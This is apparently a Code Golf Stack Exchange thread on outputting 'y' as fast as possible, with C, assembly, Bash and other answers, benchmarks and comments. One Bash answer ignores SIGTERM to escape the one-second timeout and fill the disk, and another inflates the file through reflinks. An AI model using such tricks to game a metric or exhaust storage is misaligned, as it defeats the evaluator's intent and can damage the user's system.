text:
Fastest yes in the west
There has been a question about yes in the past, but this one is slightly different. You see, despite yes having a rather long size, it is incredibly fast. Running the following command:
timeout 1s yes > out

yields a file that is 1.9 GB. Compared to this program:
int puts();main(){while(1){puts("y");}}

which yields a measly 150 Mb.
The goal is to write a program that outputs y\n (that's y with a newline) repeatedly forever, in as few lines as possible, outputting the biggest size file in as short time as possible.
The scoring works with the equation: b * y/y'. The value b is the size of your program in bytes. The value of y is the size in bytes of the out file after running the following command: timeout 1s yes > out. The value of y' is the size in bytes of the out file after running the following command: timeout 1s PROG > out where PROG is your program, eg. ./a.out. Your program should match the output of the gnu coreutils program yes ran with no arguments exactly, albeit outputting y at any speed you like. Outputting zero bytes would be a divide by zero in the original equation, resulting in a score of inf for these purposes.
Lowest score wins.
Edit:
I will run all code on my computer, please show compilation commands and any setup required.
Specs (in case you want to optimize or something):

OS: Arch Linux 5.5.2-arch1-1
CPU: AMD Ryzen 2600X
SSD: Samsung 970 EVO NVMe
RAM: 16GB 3200MHz

Here is a script to calculate the score, since it seems people are having trouble:
b=$(wc -c < $1)
timeout 1s yes > out
y=$(wc -c < out)
timeout 1s $2 > out
y2=$(wc -c < out)
rm out
echo "scale=3;$b*$y/$y2" | bc

Example, given that the script is called score.sh and your program is yes.py:
./score.sh yes.py "python yes.py"

Interesting idea, but I'm downvoting because this seems highly dependent on the host running the code.  If all entries were run on the same host, then it could be an interesting comparison.

I will run all code on my computer, and comment the score. Probably should mention that in the question huh :)

The value of y is the size in bytes of the out file after running the following command: timeout 1s yes > out. The value of y' is the size in bytes of the out file after running the following command: timeout 1s PROG > out where PROG is your program, eg. ./a.out. Your program should match the output of the gnu coreutils program yes ran with no arguments exactly, albeit outputting y at any speed you like. Outputting zero bytes would be a divide by zero in the original equation, resulting in a score of inf for these purposes.

I see. Thanks for clarifying. Maybe the challenge could use a better wording, along the lines of your comment

Related: https://www.reddit.com/r/unix/comments/6gxduc/how_is_gnu_yes_so_fast/

I think some users are getting confused here :) The output should be strictly an infinite "yes\n"?  Or That could also accept "y\n" too?

No, it must be strictly y\n

Size of source code or size of program? Does it have to be a full program?

Size of source (byte count)

waiting for someone to make a very short x86 answer using https://stackoverflow.com/questions/8201613/printing-a-character-to-standard-output-in-assembly-x86

This might be more interesting if you weren't bottlenecking the output by writing it to a disk.  Your CPU's memory bandwidth (and Linux pipe throughput) is much higher than 2GB/s.  Although it's still probably just going to come down to making write system calls on a large-enough buffer to amortize overhead but not create too many L3 cache misses in the kernel's copy_from_user (basically memcpy into the pagecache or pipe buffer).

So then the part that varies in user-space is implementing memset for a 2-byte pattern to create the buffer in the first place.  In asm / machine code it's a choice between SIMD vpbroadcastw + 128-bit or 256-bit stores, vs. rep stosw or stosd, and how those perform on Zen1 to decide whether the extra code size for SIMD is worth the cost, how much faster is it than the fast strings microcode for rep stos.)

How much RAM do you have?  Assuming default Linux tuning settings, some significant fraction of your free RAM can be used for dirty buffers holding pages of the file that haven't made it to disk yet, but have been successfully "written" before yes is killed.  Also, be careful when benchmarking: amount of free RAM could affect your measured result! Limit Linux background flush (dirty pages) has some benchmarks of dd of /dev/zero to a file.

@PeterCordes I have 8gb 3200Mhz ram

You should run this on BSD where they have a trivial yes. That way we might be able to beat it.

Is it (b * y)/y' or b * (y/y')? I got 2 different scores for my program doing this.

Huh, in my bash code I just do b*y/y, what does that return?

C, 112 bytes, 28 TB/s, score ≈ 0.008
long b[9<<21];main(){for(b[2]=write(*b=1,wmemset(b+8,'\ny\ny',1<<25),1<<27)/2;b[3]=b[2]*=2;ioctl(1,'@ ”\r',b));}

(If you’re having trouble copying and pasting this, replace the multicharacter constant '@ ”\r' with '@ \x94\r' or 1075876877.)
This writes 128 MiB of y\ns to stdout, and then repeatedly invokes the FICLONERANGE ioctl to double the file’s length by adding new references to the same disk blocks.  Requires Linux x86-64 and a filesystem supporting FICLONERANGE, such as Btrfs or XFS; stdout must be opened in read-write mode (e.g. ./prog 1<> out in bash).
Self-contained testing script
This script loop-mounts a freshly created filesystem from a memory-backed image file and runs the program there.  (I get about 43 TB/s in-memory, but the ratio with yes(1) is similar.)  It works with either Btrfs or XFS, but Btrfs seems to give better scores.
#!/usr/bin/env bash
set -eux
dir="$(mktemp -dp /dev/shm)"
cd "$dir"
trap 'umount fs || true; rm -r "$dir"' EXIT
printf "long b[9<<21];main(){for(b[2]=write(*b=1,wmemset(b+8,'\\\\ny\\\\ny',1<<25),1<<27)/2;b[3]=b[2]*=2;ioctl(1,'@ \\x94\\\\r',b));}" > prog.c
b="$(stat -c %s prog.c)"
gcc -O3 prog.c -o prog
dd of=fs.img bs=1 count=0 seek=8G

# Pick one:
mkfs.btrfs fs.img
#mkfs.xfs -m reflink=1 fs.img

mkdir fs
mount fs.img fs
sync
timeout 1 yes 1<> fs/out || true
y="$(stat -c %s fs/out)"
rm fs/out
sync
timeout 1 ./prog 1<> fs/out || true
y1="$(stat -c %s fs/out)"
echo "score = $b * $y / $y1 = $(bc -l <<< "$b * $y / $y1")"

Wow! I want to run it myself but I'll admit I'm slightly terrified of that number . Unfortunately, I think this breaks the rules, but I definitely was not clear enough. Does this output to stdout, like the yes program does?

@hLk The default rules clearly allow outputting to a file, but I’ve edited this to output to stdout, with the requirement that stdout be opened in read-write mode.

Oh whoops, was not aware of those. I'll give it a shot in the morning.

I can't get it to work. I am on an XFS partition, and I have tried with gcc and clang. Is there an option that I'm missing? Or is there some way to see what might be wrong?

@hLk Run strace on it and see if there are any lines with -1 (E in them.

@S.S.Anne EINVAL, ENOENT, and EFAULT. Those are the errors, not sure the reason. Maybe I'll try on btrfs

@hLk Was the XFS partition created with -m reflink=1? (Check with xfs_info.)

I think it was (xfs_info has an entry that says reflink=1)

@hLk I’ve added a self-contained testing script that creates and uses a fresh memory-backed filesystem; it works for me with either Btrfs or XFS. Maybe that will help you figure out what was different about your test.

I think it requires kernel support. What system are you running on?

@S.S.Anne I am on Arch Linux, with kernel 5.5.2-arch1-1

@hLk No, not your OS. Anders's.

@S.S.Anne I’m running NixOS, also with kernel v5.5.2, which is current modulo a couple of stable point releases last week. This should work with any kernel since v2.6.29 on Btrfs or v4.9 on XFS.

Bash, 3 bytes, 1.9 GB/s
yes

Try it online!
Admittedly this is a troll solution, but the rules do not explicitly forbid it, and it should get you a value close to 3, which is not bad.

Haha, completely didn't realize this solution. Almost certainly the winner unless I change the rules

x86-64 machine code (Linux system calls), 29B * 4.7GB/6.6GB = ~20.6 on tmpfs on Skylake
(Or even 28 bytes, but I haven't benchmarked Noah's suggestion of using the low 16 bits of the address as the count for rep stosd.  Asm source for it on Godbolt.)
At about 6.6 GiB/s, this runs faster than GNU yes on tmpfs, the widely-used Linux ramdisk-like filesystem backed by the pagecache.  I made sure to align my buffer to at least a cache-line boundary (and in fact a 4k page boundary) so the kernel's copy_from_user memcpy-like function using rep movsb would be most efficient.
I don't expect this will outperform yes writing to an SSD on a fast Ryzen CPU which isn't the bottleneck; posted score is tentative.  However, writing 2 or 4 bytes at a time is unusably slow so we need a buffer to avoid a huge score penalty (like a factor of 2000 on tmpfs!).  But probably this will score about 29 running at the same speed as GNU yes if they both fill the page-cache to max capacity with dirty pages and max out I/O bandwidth during the 1s window.
It's break-even for code size to use a buffer in the BSS instead of reserving stack space, in a Linux position-dependent executable where a static address can be put in a register with 5-byte mov r32, imm32.  Using more space in the BSS doesn't increase the size of an executable that already has a BSS section/segment.  But in this case it does make the executable larger so I'm not totally sure it's justified to not count anything for executable metadata for the BSS.  But as usual, I'm counting only the size of the .text section.  (And there's no initialized static data; all the constants are immediate.)
Without aligning the stack by 64 or 4k, sub esp, edx; mov edi, esp would be only 4 bytes, and safe in a Linux x32 executable: 32-bit pointers in 64-bit mode.  (For efficient syscall instead of slow int 0x80 or cumbersome sysenter in 32-bit mode).  Otherwise break-even for sub rsp, rdx.  So if not counting the BSS bothers you, save a byte and use the stack for buffers up to almost 8MiB (with default ulimit -s).
We fill a buffer that's 4x larger than we actually pass to write; rep stosd needs a repeat count of dword chunks and it's convenient to use the same number as a byte count for the system call.
Try it online! (NASM source which assembles to this answer's machine code.) It works on TIO; it doesn't depend on the output being a regular file or anything.  Below is a NASM listing of machine code hexdump & source.
 6                                  global _start
 7                                  _start:
 8                                  ;; All regs zeroed at the top of a Linux static executable (except RSP)
 9
10                                  SIZEPOW equ 17
13 00000000 0FBAE911                   bts  ecx, SIZEPOW  ; 1<<SIZEPOW x 4 bytes to fill.
14 00000004 89CA                       mov  edx, ecx      ; size arg for sys_write in bytes; 1/4 of the actual buffer size
15
16 00000006 B8790A790A                 mov  eax, `y\ny\n`
25 0000000B BF[00000000]               mov  edi, buf        ; mov r32, imm32 static address; 00... is before linking
26 00000010 89FE                       mov  esi, edi        ; syscall arg
27
28                                     ;shr  ecx, 2         ; just fill 4x as much memory as needed
29 00000012 F3AB                       rep  stosd           ; wmemset(rdi, eax, rcx)  4*rcx bytes
30
31 00000014 8D7901                     lea   edi, [rcx + 1]  ;   mov  edi, 1
32                                  .loop:
33 00000017 89F8                       mov  eax, edi         ; __NR_write = stdout fileno
34 00000019 0F05                       syscall
36 0000001B EBFA                       jmp  .loop

47                                  section .bss
48                                   align 4096
49 00000000 <res 00080000>           buf: resd 1<<SIZEPOW

0x1b + 2 bytes for last instruction is 29 bytes total.
mov cx, imm16 would also be 4 bytes, same as BTS, but is limited to 0..65535.  vs. BTS r32, imm8 creating any power of 2.  (Both depend on a zeroed RCX to start with, to produce a result zero-extended into RCX for rep stos)
mov ax, `y\n`  would be 4 bytes, 1 fewer than mov eax, imm32, but then we'd need rep stosw which costs an extra operand-size prefix.  This would have kept the ratio of filled buffer to used buffer at 2:1 instead of 4:1, so I should have done that to save a few pagefaults at startup, but not redoing the benchmarking now.  (rep stosw is still fast on Skylake I think; not sure if Zen+ might suffer; but more than a factor of 2 in fill bandwidth + page fault cost is unlikely.)
A static buffer makes alignment to a cache line (or even the page size) not cost instructions; having the stack only 16-byte aligned was a slowdown.  I recorded times in comments on my original code that aligned the stack pointer by 64kiB or not after reserving space for a buffer.  Alignment to 64k instead of 16B made a ~3% difference in overall speed for writing a 1GiB file (to tmpfs, exiting on ENOSPC) with SIZEPOW=16, and led to a reduction in instructions retired as well.  (Measured with perf stat ./yes > testd/yesout)
     ;;;; instead of  mov  edi, buf
    sub  rsp, rdx
    ;   and  rsp, -65536   ; With: 631.4M cycles 357.6M insns.   Without:  651.3M cycles 359.4M instructions.  (times are somewhat noisy but there's a real difference)
 ;;  mov  rdi, rsp   ; 3 bytes
    push  rsp
    pop   rdi        ; copy a 64-bit reg in 2 bytes
    push  rsp
    pop   rsi

For other benchmarking purposes (with a smaller 1GiB tmpfs), it was convenient to use a loop that exited when write() failed (with -ENOSPC) instead of looping until killed.  I used this as the bottom of the loop
35                                  %if 0
36 0000001B EBFA                       jmp  .loop
37                                  %else
38                                     test eax,eax      ;;;;;;;;;;; For benchmarking purposes: abort on write fail
39                                     jge  .loop
40
41                                     mov eax, 231    ; not golfed
42                                     xor edi, edi
43                                     syscall         ; sys_exit_group(0)
44                                  %endif
45

Testing
I tested using tmpfs because I don't want to wear out my SSD repeatedly testing this. And because keeping up with a consumer-grade SSD is trivial with any reasonable buffer size.  More interesting (to me) is to find the CPU/memory-bound sweet spot between system call overhead from making too many small write system calls vs. L2 cache misses from re-reading too large a buffer every time.  And also minimize time spent on filling a buffer before even starting to make system calls.  (Although note that with write-behind I/O buffering for filesystems backed by real disk, there's no advantage to using a smaller buffer to get disk-write started sooner.  I/O write-back to actual physical media wouldn't start until dirty pages hit the Linux kernel's high water mark.  The default dirty timeout is 500 centisecs, and powertop suggests raising that to 1500 (15 seconds), so that's not going to come into play, just the high water mark.  So what really matters is getting to the high water mark ASAP for a physical disk, and potentially pushing as many dirty pages into the pagecache as possible within the 1 second window, to finish writeback after yes dies.  So this 1-second test probably depends on how much RAM your machine has (and even how much free RAM), if you're using a physical disk instead of tmpfs.)
write inside the kernel is basically a memcpy from the provided buffer into the pagecache; specifically Linux's copy_from_user function which uses rep movsb on systems with ERMSB (Intel since IvB) or rep movsq  when it's fast (PPro and later, including non-Intel vendors.)
According to perf record / perf report output, with a 128k buffer size, 45% of the counts for hardware "cycles" were in clear_page_erms (on rep stosb) and then 18.4% in copy_user_enhanced_fast_string on rep movsb.  (Makes some sense: clearing is touching a cold page, copy is copying over a just-cleared buffer, presumably hitting in L2 cache for src and destination.  Or L1d for dst if it clears 4k at a time.  Or only L3 cache if it's clearing whole hugepages :/)  Next highest was iov_iter_fault_in_readable at 3.8%.  But anyway, only ~63% of total CPU time was spent on the "real work" of actually copying into the pagecache.  And that happens inefficiently, zeroing before copying.
I tried with tmpfs with huge=never (which is the default) and only got 4.8GiB for 1s with the 128kiB buffer version that gets 6.6GiB on hugepages.  So clearly hugepages are worth it overall.  perf record counts for cycles were: 14%: clear_page_erms and 10% copy_user_enhanced_fast_string, with many other kernel functions taking low single digits percentages, like try_charge at 4%, __pagevec_lru_add_fn, get_mem_cgroup_from_mm, __this_cpu_preempt_check, and _raw_spin_lock_irq at 3 to 2%.  Managing memory in 4kiB chunks obviously costs a lot more than in 2MiB chunks.
Test setup

i7-6700k @ 3.9GHz with 0xd6 microcode update (Nov 2019).  (quad core Skylake-client microarchitecture, per-core caches: L1d 32k, L2 256k.  Shared L3 = 8MiB) vs. Ryzen having 512kiB L2 caches.
During this test: /sys/devices/system/cpu/cpufreq/policy0/energy_performance_preference = balance_performance, not full performance EPP setting.  So this is closer to the normal bootup machine state of balance_power).  I ran a warm-up run right before the main test to make sure the CPU speed was at full before the timed 1-second started: timeout 1s ./yes > testd/yesout; perf stat -d timeout 1s yes > testd/yesout.
With EPP at performance (max turbo = 4.2GHz, near-instant ramp-up), in practice it runs at 4.1GHz average for the test.  I get up to 6.9GiB written instead of 6.6, for the 128k buffer version.  (And up to 7.3GiB with the writev version.)

16 GiB of DDR4-2666  (2x8GB DIMMs, dual channel)

OS = Arch GNU/Linux, kernel = Linux 5.4.13-arch1-1

Filesystem = tmpfs using transparent hugepages:
sudo mount -t tmpfs -o size=10G,huge=always tmpfs /tmp/test.  Much of the file is using transparent hugepages: from /proc/meminfo after writing a 6.4G file: ShmemHugePages:  6723584 kB (6566MB), and goes down to 83968 kB (82MB) after deleting it.  It's using x86-64 2MiB hugepages instead of 4k normal pages to reduce TLB misses.

System idle except for Chromium using about 3% of one core at idle clock speed.

free memory was sufficient for tmpfs not to actually page anything out to swapspace during the test:
$ free -m   # show numbers in megabytes.  Test output deleted; tmpfs nearly empty
              total        used        free      shared  buff/cache   available
Mem:    15820        2790       12164         236         864       12497
Swap:    2047         930        1117

$ cat /proc/sys/vm/swappiness
6

Spectre / Meltdown mitigations (big overhead per system call, above the ~100 cycles each for syscall / sysret to get in/out of the kernel):
$ grep . /sys/devices/system/cpu/vulnerabilities/*
/sys/devices/system/cpu/vulnerabilities/itlb_multihit:KVM: Vulnerable
/sys/devices/system/cpu/vulnerabilities/l1tf:Mitigation: PTE Inversion
/sys/devices/system/cpu/vulnerabilities/mds:Mitigation: Clear CPU buffers; SMT vulnerable
/sys/devices/system/cpu/vulnerabilities/meltdown:Mitigation: PTI
/sys/devices/system/cpu/vulnerabilities/spec_store_bypass:Mitigation: Speculative Store Bypass disabled via prctl and seccomp
/sys/devices/system/cpu/vulnerabilities/spectre_v1:Mitigation: usercopy/swapgs barriers and __user pointer sanitization
/sys/devices/system/cpu/vulnerabilities/spectre_v2:Mitigation: Full generic retpoline, IBPB: conditional, IBRS_FW, STIBP: conditional, RSB filling
/sys/devices/system/cpu/vulnerabilities/tsx_async_abort:Mitigation: Clear CPU buffers; SMT vulnerable

Results writing to tmpfs for 1 second: best case 6.6GiB
Timed with this as a shell one-liner
 asm-link -nd yes.asm &&    # assemble with NASM + link
 taskset -c 3 timeout 1s ./yes > testd/yesout;     # warm-up run
 time taskset -c 3  timeout 1s ./yes > testd/yesout;
 ls -lh testd/yesout && rm testd/yesout

Up-arrow recall that string of commands a few times, take the best case.  (Assume that lower values didn't ramp up the CPU speed right away; spent some time allocating hugepages, or had other spurious interference.)
I intentionally limited myself to only looking at 2 significant figures of file size (letting ls round to x.y GiB) because I know there's going to be noise, so perhaps keeping the data simpler might be good.
Results for various buffer sizes writing to tmpfs: 6.6GiB
(I did see 6.7G in some early testing with SIZEPOW=16 or 17, and I think even 6.8 or 9, but couldn't reproduce it once things settled down.  Maybe some lucky early arrangement of hugepages that didn't last into a stable state?)

SIZEPOW=1, buffer size: 2 (just 'y\n'), best-case size: 2.9MiB
real    0m1.002s, user    0m0.431s, sys     0m0.570s

SIZEPOW=2, buffer size: 4, best-case size: 5.8MiB
real    0m1.002s, user    0m0.381s, sys     0m0.620s

...

SIZEPOW=11, buffer size:  1024, best-case size: 1.3GiB
real    0m1.005s, user    0m0.343s, sys     0m0.661s

SIZEPOW=11, buffer size:  2048, best-case size: 2.3GiB
real    0m1.008s, user    0m0.270s, sys     0m0.737s.  (Smaller than 1x 4k page = bad)

SIZEPOW=12, buffer size:  4096, best-case size: 3.6GiB
real    0m1.012s, user    0m0.237s, sys     0m0.772s

SIZEPOW=13, buffer size:  8192 (same as GNU yes), best-case size: 4.8GiB
real  0m1.016s, user   0m0.180s, sys   0m0.834s

SIZEPOW=14, buffer size: 16384, best-case size: 5.6GiB
real    0m1.018s, user    0m0.090s, sys     0m0.926s

SIZEPOW=15, buffer size: 32768, best-case size: 6.2GiB
real    0m1.019s, user    0m0.057s, sys     0m0.959s

SIZEPOW=16, buffer size: 64kiB, best-case size: 6.5GiB
real    0m1.021s, user    0m0.023s, sys     0m0.993s

SIZEPOW=17, buffer size: 128kiB (1/2 L2 cache size), best-case size: 6.6GiB
real    0m1.021s, user    0m0.017s, sys     0m1.002s

SIZEPOW=18, buffer size: 256kiB (= L2 cache size), best-case size: 6.6GiB
real    0m1.020s, user    0m0.013s, sys     0m1.005s

SIZEPOW=19, buffer size: 512kiB (2x L2 cache size), best-case size: 6.4GiB
real    0m1.021s, user    0m0.000s, sys     0m1.019s  (User time getting meaningless / too small for Linux to measure accurately.)

SIZEPOW=20, buffer size: 1024kiB, best-case size: 6.2GiB

SIZEPOW=21, buffer size: 2MiB, best-case size: 5.7GiB

SIZEPOW=22, buffer size: 4MiB (1/2 L3 size), best-case size: 5.0GiB

SIZEPOW=23, buffer size: 8MiB (L3 cache size), best-case size: 4.9GiB

SIZEPOW=24, buffer size: 16MiB (2x L3 cache size), best-case size: 4.9GiB

SIZEPOW=25, buffer size: 32MiB, best-case size: 4.8GiB

...

SIZEPOW=28, buffer size: 256MiB, best-case size: 4.4GiB

GNU coreutils 8.31 yes: buffer size 8192, best case size: 4.7GiB
(vs. 4.8GiB for my 8k buffer version.  Perhaps because of lower startup overhead.  My statically linked executable makes literally no system calls before write, just a BSS pagefault or two, vs. GNU yes being dynamically has more overhead before it gets going.  And not quite as tight a loop around syscall, probably involving indirect-call/ret into libc's write wrapper, so at least two different pages of code in user-space are touched between system calls.  Two chances for iTLB or i-cache misses.  (Making a system call tends to invalidate a lot, especially with Spectre / Meltdown / MDS mitigations enabled, but even without that if a lot of kernel code runs)
GNU yes's buffer is 64-byte aligned (cache line) but not 4k-page aligned.  IDK if that makes any difference or leads to more dTLB misses (from spanning 3 pages instead of 2).  Being an odd multiple of 64 bytes (address ending in 0x440) is not ideal for the L2 spatial prefetcher (which tries to complete 128B-aligned pairs of lines) but that's probably insignificant; 8kiB is small enough that we get lots of L1d hits and very few L2 misses overall, including both user and kernel space.  (perf stat -d)
The fall-off at the high end of size is I think due to cache and TLB misses.  You can run perf stat -d instead of time to see LLC-misses.  (And LLC-loads is an indication of L2 load misses.  Indeed, small buffers get mostly L2 hits, larger buffers get some misses.)
Note that the time real/user/system times are for the timeout process itself, not for just the yes workload.  And that Linux's time accounting is somewhat granular, I think.  perf stat gives more details, but I didn't want even the tiny overhead of the occasional HW performance-counter event interrupt.

Further speedup ideas:
Spawning multiple threads (all writing with O_APPEND) might be a minor win, depending on how much they serialize each other when appending.  (I'm hoping they just reserve space and then copy, so a 2nd call can reserve more space while an earlier one is still copying.  Otherwise we might need vmsplice + splice(2) or something to do the page-dirtying in user-space and give pages to the kernel without further copying (SPLICE_F_GIFT + SPLICE_F_MOVE)).  But making a clone system call would probably take significantly more code.
Intel desktop CPUs can nearly saturate their memory bandwidth with a single core, unlike many-core Xeons with higher memory / uncore latency; ironically/paradoxically worse single-core memory bandwidth despite more memory controller channels for higher aggregate bandwidth than dual/quad-core client chips.  With significant time spent in the kernel not bottlenecked on DRAM bandwidth, multiple threads could still help.
Using writev(2) to pass the same buffer multiple times with one system call could give the best of both worlds: small buffer for L1 / L2 hits while copying to the pagecache, but lots of work done per syscall.  Maybe a few % speedup; (Tried it; got a 7.0G output with 20 io vecs for an 8kiB buffer, up from 6.6G.  Kernel CPU time is now 49.5% clear_page_erms, 13.2% copy_user_enhanced_fast_string.  So yes, less time spent copying, more time spent just clearing.  37 bytes, up from 29, score 26.3.
Source on Try it online!).
As expected it doesn't come close to paying for itself in user-space code size to create the array of ptr,length pairs, although it was possible with a loop around 2 push instructions (4 bytes), but extra instructions outside the loop to get the args into place were necessary.  Also, the call number __NR_writev is 20 so I used an array of 20 iovs, allowing the same trick as with fd = __NR_write to save a byte vs. lea.
There's still overhead per iovec (200x 2k buffer is slower than 20x 8k buffer).  The sweet spot is around 4k or 8k buffers, with very minor gains for using a big vector (20x 8k seems enough).  IOV_MAX is "only" 1024, and isn't slower but is barely faster.  (Try it online! - flexible iov size version for perf experiments also needs only a couple changes to flip back to plain write instead of writev.

a loop that exited when write() failed You're just rubbing it in, aren't you? Amazing answer. Thanks for the benchmarks.

@S.S.Anne: No, the part about debugging in a 1GiB tmpfs is the rubbing it in part. :P  Especially after hearing your cautionary tale.  And thanks, I definitely enjoy the chance to answer the occasional code-golf question with a performance component, like this and Extreme Fibonacci, where I can apply my performance tuning skills and there's something interesting to say about things.

I finally got my stuff back. I just had to sift through my disk image with grep, no big deal.

@PeterCordes what about using O_DIRECT for the write? Might negatively affect code size but wouldn't you want to only that filling the page cache near the end for the kernel write back after the 1 second window. at 29 tb/s you can fill up the page cache in a fraction of the 1 second window.

@Noah: You mean to force the kernel to get started on I/O to disk right away, so final size is 1s * SSD speed plus pagecache-size?  The kernel has a dirty-page writeback threshold as well as a timeout, so it already gets started well before the end of the 1sec window.  Using fcntl(1, F_SETFL, O_DIRECT) / write / fcntl to clear / write loop would be possible but take significant extra code size.  You'd have to tune the size of the DIRECT write you do so you don't get killed without a full pagecache while stuck in a direct write or writev with an empty pagecache.

@Noah: However, ignoring the return value of fcntl would let you blindly use it even if stdout didn't support O_DIRECT (e.g. a pipe, or maybe tmpfs like I tested with).  I'm not confident this would be good, though.  An O_DIRECT write doesn't return right away, I don't think, so I'm not sure how much it helps you pipeline I/O with syscall overhead.  Also keep in mind, 29TB/s is for copy-on-write trickery; as I show here, actually writing to pagecache is at best about 6.6GB/s or 7GB/s, i.e. memcpy speed when reading from L2 cache, minus syscall overhead.

@PeterCordes " An O_DIRECT write doesn't return right away, I don't think, so I'm not sure how much it helps you pipeline I/O with syscall overhead" (Made me read a lot but seems takes longer for the DMA to handle it than the CPU so only good to use asynchronously (or if you want to piss of Linus apparently)). Also realized that by going through the page cache you are basically getting a free second thread from the kernel (doing the writebacks) so yeah O_DIRECT isnt the way to go

@PeterCordes re:"I made sure to align my buffer to at least a cache-line boundary (and in fact a 4k page boundary) so the kernel's copy_from_user memcpy-like function using rep movsb would be most efficient." does rep movsb care about len being 64 byte aligned as well or is it just buffer alignments? (Thought you had mentioned something to that affect in this post but obviously misremembered).

@Noah: yes, I think rep movsb cares about alignment relative to some boundary, like 32 or 64 for either or both of the source or destination.  It certainly doesn't hurt.

@PeterCordes I am wondering about length (rcx). dest (rdi) obviously benefits from being 64 byte aligned but curious if length matters at all as well.

@PeterCordes save 1byte of code size use rep stosw instead of rep stosd and doing mov  ax, 0x0a79 (also less overfill).

@Noah: Isn't that break-even?  rep stosw is 1 byte longer than rep stosd (66h prefix), but mov r16, imm16 is only 1 byte shorter than mov r32, imm32  (also needing a 66h prefix).

@PeterCordes also if you are willing to sacrifice buffer being page aligned, you can get fancy and make the low 2-bytes of buf match the hex for "y\n" (0xa7b), then get rid of the imm store into eax. I.e: https://godbolt.org/z/GvWxbKdvE

@PeterCordes oh missed that rep stosw took an extra byte.

@PeterCordes you can keep page align and decrease SIZEBUF to 65536 - 4096 and do the alignment offset hack for setting ecx (so instead of 4-byte bts, its 3-byte movw).

@PeterCordes heres impl that saves 1 byte (and has page aligned buffer + reasonable write size). You can really set length to whatever value you want % 65536.

C (clang), 88 63 bytes, 2.5GB/s
b[2048];main(){for(wmemset(b,'\ny\ny',2048);write(1,b,8192););}

Try it online! Edit: Saved 25 bytes thanks to @ceilingcat by assuming 4-byte wide characters.

Score just using -O4, clang 9.0.1: 88 * 1595658240/1665597440 = 84.3048397. Pretty good, what were the compilation options you used? And score on your comp?

@hLk: I have no idea how to score, but the timeout command created me a 2.5GB file. I didn't even specify any compilation options.

60 bytes
https://tio.run/##S9ZNzknMS///PynaxMDSLNY6NzEzT0OzOi2/SKM8NzW3OLVEI0nHoCLR3FLHyMDEQtO6vCizJFXDUCdJB6RB01rTuvb/fwA

Mostly interested to see speed difference on write() size call...

@spuck That doesn’t work; wchar_t is 4 bytes on Linux.

Well, at least he managed to write the right buffer size for his system...

So the high order bytes are nulls. No code golf rules saying it has to be good code. :)

Bash, 16 bytes, 16TB output, score ~0 .0018554687
Thoroughly abuses the rules
trap '' TERM
yes

It ignores timeout's SIGTERM (running an empty command) and so continues beyond the 1 second that the benchmark script intended to set.  This will fill your disk unless you kill it with a different signal or set a quota or other size limit.

Boy am I glad I ran this on my partition...I'd say the score is basically zero if we're being honest

@hLk: Maximum file size in the filesystem controls. If your filesystem supports bigger than 16TB files it can go a lot lower.

Could you explain the trick please. It looks like on SIGTERM it does nothing. It then runs yes. Why does this get a score below 3?

I would guess that it ignores the timeout's kill (running an empty string) and so continues beyond the 1s

@DeathIncarnate Aha! Thank you :)

@DeathIncarnate: yup, looks that way.  "malicious" / dangerous answers should really explain themselves better; I updated this one since it was already community wiki.

@PeterCordes: It's CW because that's the standard for rules abusers.

The standard for "rules abusers" is deletion, not misuse of Community Wiki status.

@pppery: No, that's the standard for rule breakers. This follows the rules as written, ignoring their intent.

Perl 5 (cperl), 26 bytes
while(1){print"y\n"x 9**4}

Try it online!
R, 18 bytes
repeat{cat('y\n')}

Try it online!
Improved thanks to @JDL
Squirrel, 24 bytes
while(1){::print("y\n")}

Try it online!
JavaScript (Node.js), 26 bytes
while(1){console.log('y')}

Try it online!
Python 3, 28 bytes
while1:print(end='y\n'*9**4)

Try it online!
Julia 1.0, 27 bytes
while(1==1) println('y')end

Try it online!
WHILE Programming Language
Performant but not participating because of many bytes...
You can't try it online! Sorry:)
But here are Docs,doc and a java-based IDE

The output should be y followed by a newline and not yes followed by a newline

Javascript console adds a new line by default :) that's why I've chosen this language.

you need to output y and not yes so you need to do console.log('y') instead of console.log('yes')

That's what you say :) I just asked the question to @hlk about such a  rule. It's being confused among answers here some use y and some use a strict 'yes'. Thanks for the advice but I'm willing to update it if a short 'y' is accepted.

The Bash answer confused me! Clever one :)

You know, you can go to the little chain link at the top of the TIO page and copy the Code Golf submission by clicking the clipboard on the right. Then you can just paste it into your answer.

thx @S.S.Anne ! I didn't notice the custom template for Code Gulf ! easier :)

@Bilel It still confuses me!

for the R one, it is probably quicker to use repeat than while(1) as you don't have to evaluate the 1 (it's also fewer characters)

It would be great if you could add the score in each case.

The python solution only prints yes once. while1: does not cause an loop you need to do while 1:

For the julia solution you can do 0<1 instead of 1==1 to save one byte. Try it online!

C (gcc), 67 bytes
b[1<<16];main(){for(wmemset(b,'\ny\ny',1<<16);~write(1,b,1<<18););}

Your times may vary. I'm running this inside a VM on a weak computer.

b[1<<16]; is an integer array of \$2^{18}\$ bytes.
wmemset(b,'\ny\ny',1<<16); sets that array to a pattern of y\ny\n. The characters are reversed due to the endianness of the x86 platform.
~write(1,b,1<<18) writes that array over and over until the write fails.  (The ~ makes a -1 error return -> false; without it we iterate until the process is killed, saving 1 byte.)

May be faster on other systems if I increase the buffer size to 1 megabyte but there's no noticeable difference on mine. This really should be an average.
Try it online!

A buffer size less than half L2 cache size is probably good so the copy_from_user (kernel memcpy) inside each write can hopefully hit in L2 cache, instead of evicting the data during a loop over a larger buffer.  The OP's Zen+ L2 cache size is 512kiB private per-core.  https://en.wikichip.org/wiki/amd/microarchitectures/zen%2B#Memory_Hierarchy (same as Zen and Zen2).  Unless a huge write system call can complete the whole size even if a SIGTERM arrives part way into it?  But no, write is interruptible.  Anyway, large enough to amortize syscall overhead (including Spectre mitigation) = good

Note that write returns -1 on error, not 0, so it loops forever / until killed, not "until write fails".

Yeah. I learned that so my filesystem has been screwed.

Hmm this is consistently getting a score of ~67.5 on my comp

@hlk I said my situation was crappy. I have a better version akin to Joshua's bash solution whenever I recover it from my VM's files.

That's interesting, I wonder why it beats yes in the VM...

In case you're curious about buffer sizes, I posted a machine-code answer with benchmark results from an i7-6700k Skylake for a range of power-of-2 buffer sizes.

@hLk I think it was because I was doing some other stuff while yes was running.

I'm curious how filling a filesystem hosed your FS in a VM.  Did you fill tmpfs and get the VM itself killed by the OOM killer, so write ordering wasn't respected for the VM's persistent FS committing to its backing file?  Or did you fill the persistent FS?  Which filesystem (ext4?) in what VM?  Sounds like a bug that could get reported upstream.  Or did your VM image grow huge and get restricted by host limits, resulting in it stopping behaving the way the guest expected?

